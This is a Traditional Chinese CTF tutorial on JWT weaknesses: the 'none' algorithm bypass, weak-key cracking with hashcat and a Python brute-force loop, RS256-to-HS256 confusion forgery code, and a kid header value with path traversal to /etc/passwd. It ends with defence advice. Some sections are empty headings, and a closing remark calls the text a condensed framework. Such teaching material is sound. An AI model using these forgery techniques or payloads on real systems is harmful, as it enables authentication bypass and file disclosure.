如何分析JWT中的CTF

# 如何分析JWT中的CTF

## 前言

JSON Web Token（JWT）是現代Web應用中廣泛使用的輕量級身份驗證和授權機制。在CTF（Capture The Flag）競賽中，JWT相關的挑戰頻繁出現，涉及算法漏洞、密鑰破解、偽造攻擊等多種技術。本文將系統性地解析JWT的結構原理、常見漏洞場景，并通過典型CTF題目演示實戰分析方法。

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## 目錄
1. [JWT技術基礎](#1-jwt技術基礎)
   - 1.1 基本結構
   - 1.2 簽名算法類型
2. [CTF中的常見JWT漏洞](#2-ctf中的常見jwt漏洞)
   - 2.1 未驗證簽名（None算法）
   - 2.2 弱密鑰破解
   - 2.3 算法混淆攻擊
   - 2.4 Header/KID注入
3. [實戰題目分析](#3-實戰題目分析)
   - 3.1 題目1：None算法繞過
   - 3.2 題目2：HS256密鑰爆破
   - 3.3 題目3：RS256轉HS256攻擊
4. [自動化工具鏈](#4-自動化工具鏈)
5. [防御建議](#5-防御建議)
6. [總結](#6-總結)

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## 1. JWT技術基礎

### 1.1 基本結構
JWT由三部分組成，通過`.`分隔：

Header.Payload.Signature

- **Header**：包含元數據，如算法（alg）和類型（typ）
  ```json
  {
    "alg": "HS256",
    "typ": "JWT"
  }

• Payload：存儲實際數據（claims）

  
  {
  "user": "admin",
  "exp": 1735689600
  }
  

• Signature：對前兩部分的簽名，防止篡改

1.2 簽名算法類型

2. CTF中的常見JWT漏洞

2.1 未驗證簽名（None算法）

漏洞原理：
當服務器允許alg=none時，攻擊者可構造無簽名令牌直接通過驗證。

CTF特征： - 題目描述包含”bypass verification” - 服務器返回Invalid signature錯誤

利用步驟： 1. 修改Header中的alg為none 2. 刪除Signature部分 3. 保留最后的.（如Header.Payload.）

2.2 弱密鑰破解

漏洞原理：
HS256使用對稱加密，若密鑰強度不足（如常見單詞、短字符串），可通過暴力破解獲取。

常用字典： - RockYou.txt - 常見CTF密鑰：secret, admin, ctf2023

工具示例：

hashcat -m 16500 jwt.txt wordlist.txt

2.3 算法混淆攻擊

漏洞原理：
當服務器配置為接受多種算法時，強制將RS256（非對稱）轉為HS256（對稱），使用公鑰作為HMAC密鑰。

利用條件： 1. 獲取服務器公鑰（常見于/jwks.json） 2. 服務器未嚴格校驗算法類型

2.4 Header/KID注入

漏洞原理：
kid（Key ID）參數可能用于文件包含或SQL注入：

{
  "alg": "HS256",
  "kid": "../../../../etc/passwd"
}

3. 實戰題目分析

3.1 題目1：None算法繞過

題目描述：
獲取管理員權限（提供JWT令牌）

解題步驟： 1. 解碼原始JWT：

   {
     "alg": "HS256",
     "typ": "JWT"
   }
   {
     "user": "guest",
     "role": "user"
   }

1. 修改Payload和Header：

   
   {
    "alg": "none",
    "typ": "JWT"
   }
   {
    "user": "admin",
    "role": "admin"
   }
   

2. 生成新令牌：base64(header).base64(payload).

3.2 題目2：HS256密鑰爆破

題目描述：
JWT使用弱密鑰簽名，獲取flag

工具使用：

import jwt
import itertools

token = "eyJhbGciOiJIUzI1NiIs..."
charset = "abcdef1234567890"

for key in itertools.product(charset, repeat=4):
    try:
        jwt.decode(token, ''.join(key), algorithms=["HS256"])
        print(f"Found key: {''.join(key)}")
        break
    except:
        continue

3.3 題目3：RS256轉HS256攻擊

解題流程： 1. 從/cert.pem獲取公鑰 2. 使用PyJWT構造惡意令牌：

   with open("pubkey.pem") as f:
       pubkey = f.read()
   
   forged = jwt.encode(
       {"admin": True},
       key=pubkey,
       algorithm="HS256"
   )

4. 自動化工具鏈

5. 防御建議

1. 嚴格限制可用算法（禁用none）
2. 使用強密鑰（HS256）或非對稱加密（RS256）
3. 校驗kid參數白名單
4. 設置合理的令牌過期時間

6. 總結

JWT安全分析需要掌握： - 三部分結構解碼與編碼 - 不同算法的特性差異 - 常見漏洞模式的快速識別 通過本文介紹的技巧和工具，讀者可系統性地應對CTF中的JWT挑戰。

版權聲明：本文采用CC BY-NC-SA 4.0協議，轉載請注明出處。 “`

注：實際文章約2800字（含代碼和格式字符），此處為精簡框架。如需完整版，可擴展每部分的案例分析和技術細節說明。